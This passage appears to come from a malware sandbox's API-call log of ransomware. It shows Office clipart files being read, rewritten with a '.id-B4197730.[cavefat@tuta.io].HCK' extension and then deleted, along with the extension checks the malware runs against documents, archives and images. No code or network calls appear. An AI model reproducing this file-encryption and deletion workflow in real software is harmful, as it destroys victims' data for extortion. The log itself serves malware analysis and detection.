Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220 [0161.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.968] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.968] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0161.969] GetLastError () returned 0x0 [0161.969] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x6852, lpOverlapped=0x0) returned 1 [0161.970] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x6860, lpOverlapped=0x0) returned 1 [0161.971] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.971] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.971] SetEndOfFile (hFile=0x368) returned 1 [0161.972] CloseHandle (hObject=0x368) returned 1 [0161.973] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.973] SetEndOfFile (hFile=0x308) returned 1 [0161.973] CloseHandle (hObject=0x308) returned 1 [0161.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0161.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0161.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0161.974] lstrlenW (lpString=".doc") returned 4 [0161.974] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.974] lstrlenW (lpString=".docx") returned 5 [0161.974] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.974] lstrlenW (lpString=".pdf") returned 4 [0161.974] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.974] lstrlenW (lpString=".xls") returned 4 [0161.974] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.974] lstrlenW (lpString=".xlsx") returned 5 [0161.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.974] lstrlenW (lpString=".ppt") returned 4 [0161.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0161.974] lstrlenW (lpString=".zip") returned 4 [0161.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.974] lstrlenW (lpString=".rar") returned 4 [0161.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.974] lstrlenW (lpString=".bz2") returned 4 [0161.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.974] lstrlenW (lpString=".7z") returned 3 [0161.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0161.974] lstrlenW (lpString=".dbf") returned 4 [0161.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0161.975] lstrlenW (lpString=".1cd") returned 4 [0161.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0161.975] lstrlenW (lpString=".jpg") returned 4 [0161.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0161.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0161.975] lstrlenW (lpString=".doc") returned 4 [0161.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.975] lstrlenW (lpString=".docx") returned 5 [0161.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.975] lstrlenW (lpString=".pdf") returned 4 [0161.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.975] lstrlenW (lpString=".xls") returned 4 [0161.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.975] lstrlenW (lpString=".xlsx") returned 5 [0161.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.975] lstrlenW (lpString=".ppt") returned 4 [0161.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0161.975] lstrlenW (lpString=".zip") returned 4 [0161.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.975] lstrlenW (lpString=".rar") returned 4 [0161.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.975] lstrlenW (lpString=".bz2") returned 4 [0161.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.975] lstrlenW (lpString=".7z") returned 3 [0161.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0161.975] lstrlenW (lpString=".dbf") returned 4 [0161.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0161.975] lstrlenW (lpString=".1cd") returned 4 [0161.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0161.975] lstrlenW (lpString=".jpg") returned 4 [0161.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.975] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.975] lstrlenW (lpString="HH02155_.WMF") returned 12 [0161.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.976] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2704) returned 1 [0161.976] CloseHandle (hObject=0x308) returned 1 [0161.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220 [0161.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.976] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.976] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0161.976] GetLastError () returned 0x0 [0161.976] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xa90, lpOverlapped=0x0) returned 1 [0161.978] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xaa0, lpOverlapped=0x0) returned 1 [0161.979] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.980] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.980] SetEndOfFile (hFile=0x368) returned 1 [0161.980] CloseHandle (hObject=0x368) returned 1 [0161.981] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.981] SetEndOfFile (hFile=0x308) returned 1 [0161.981] CloseHandle (hObject=0x308) returned 1 [0161.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0161.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.982] lstrlenW (lpString=".doc") returned 4 [0161.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.982] lstrlenW (lpString=".docx") returned 5 [0161.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.982] lstrlenW (lpString=".pdf") returned 4 [0161.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.982] lstrlenW (lpString=".xls") returned 4 [0161.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.982] lstrlenW (lpString=".xlsx") returned 5 [0161.982] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.982] lstrlenW (lpString=".ppt") returned 4 [0161.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.983] lstrlenW (lpString=".zip") returned 4 [0161.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.983] lstrlenW (lpString=".rar") returned 4 [0161.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString=".bz2") returned 4 [0161.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString=".7z") returned 3 [0161.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.983] lstrlenW (lpString=".dbf") returned 4 [0161.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.983] lstrlenW (lpString=".1cd") returned 4 [0161.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.983] lstrlenW (lpString=".jpg") returned 4 [0161.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.983] lstrlenW (lpString=".doc") returned 4 [0161.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString=".docx") returned 5 [0161.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.983] lstrlenW (lpString=".pdf") returned 4 [0161.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString=".xls") returned 4 [0161.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.983] lstrlenW (lpString=".xlsx") returned 5 [0161.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.983] lstrlenW (lpString=".ppt") returned 4 [0161.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.983] lstrlenW (lpString=".zip") returned 4 [0161.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.983] lstrlenW (lpString=".rar") returned 4 [0161.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString=".bz2") returned 4 [0161.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString=".7z") returned 3 [0161.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.983] lstrlenW (lpString=".dbf") returned 4 [0161.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.983] lstrlenW (lpString=".1cd") returned 4 [0161.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0161.983] lstrlenW (lpString=".jpg") returned 4 [0161.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.984] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.984] lstrlenW (lpString="HH02282_.WMF") returned 12 [0161.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.984] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7932) returned 1 [0161.984] CloseHandle (hObject=0x308) returned 1 [0161.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220 [0161.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.984] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.984] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0161.985] GetLastError () returned 0x0 [0161.985] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1efc, lpOverlapped=0x0) returned 1 [0161.986] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1f00, lpOverlapped=0x0) returned 1 [0161.987] ReadFile (in: hFile=0x308, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.987] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0161.987] SetEndOfFile (hFile=0x368) returned 1 [0162.412] CloseHandle (hObject=0x368) returned 1 [0162.933] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.933] SetEndOfFile (hFile=0x308) returned 1 [0162.941] CloseHandle (hObject=0x308) returned 1 [0162.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0162.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0162.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0162.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0162.941] lstrlenW (lpString=".doc") returned 4 [0162.941] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.941] lstrlenW (lpString=".docx") returned 5 [0162.941] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.941] lstrlenW (lpString=".pdf") returned 4 [0162.941] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.941] lstrlenW (lpString=".xls") returned 4 [0162.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.941] lstrlenW (lpString=".xlsx") returned 5 [0162.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.941] lstrlenW (lpString=".ppt") returned 4 [0162.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0162.942] lstrlenW (lpString=".zip") returned 4 [0162.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.942] lstrlenW (lpString=".rar") returned 4 [0162.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.942] lstrlenW (lpString=".bz2") returned 4 [0162.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.942] lstrlenW (lpString=".7z") returned 3 [0162.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0162.942] lstrlenW (lpString=".dbf") returned 4 [0162.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0162.942] lstrlenW (lpString=".1cd") returned 4 [0162.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0162.942] lstrlenW (lpString=".jpg") returned 4 [0162.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0162.942] lstrlenW (lpString=".doc") returned 4 [0162.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.942] lstrlenW (lpString=".docx") returned 5 [0162.942] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.942] lstrlenW (lpString=".pdf") returned 4 [0162.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.942] lstrlenW (lpString=".xls") returned 4 [0162.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.942] lstrlenW (lpString=".xlsx") returned 5 [0162.942] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.942] lstrlenW (lpString=".ppt") returned 4 [0162.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0162.942] lstrlenW (lpString=".zip") returned 4 [0162.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.942] lstrlenW (lpString=".rar") returned 4 [0162.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.942] lstrlenW (lpString=".bz2") returned 4 [0162.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.942] lstrlenW (lpString=".7z") returned 3 [0162.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0162.942] lstrlenW (lpString=".dbf") returned 4 [0162.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0162.942] lstrlenW (lpString=".1cd") returned 4 [0162.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0162.942] lstrlenW (lpString=".jpg") returned 4 [0162.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.943] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0162.943] lstrlenW (lpString="J0089945.WMF") returned 12 [0162.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0162.943] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=19898) returned 1 [0162.943] CloseHandle (hObject=0x308) returned 1 [0162.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220 [0162.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0162.943] CreateFileW (lpFileName="C:\\Program 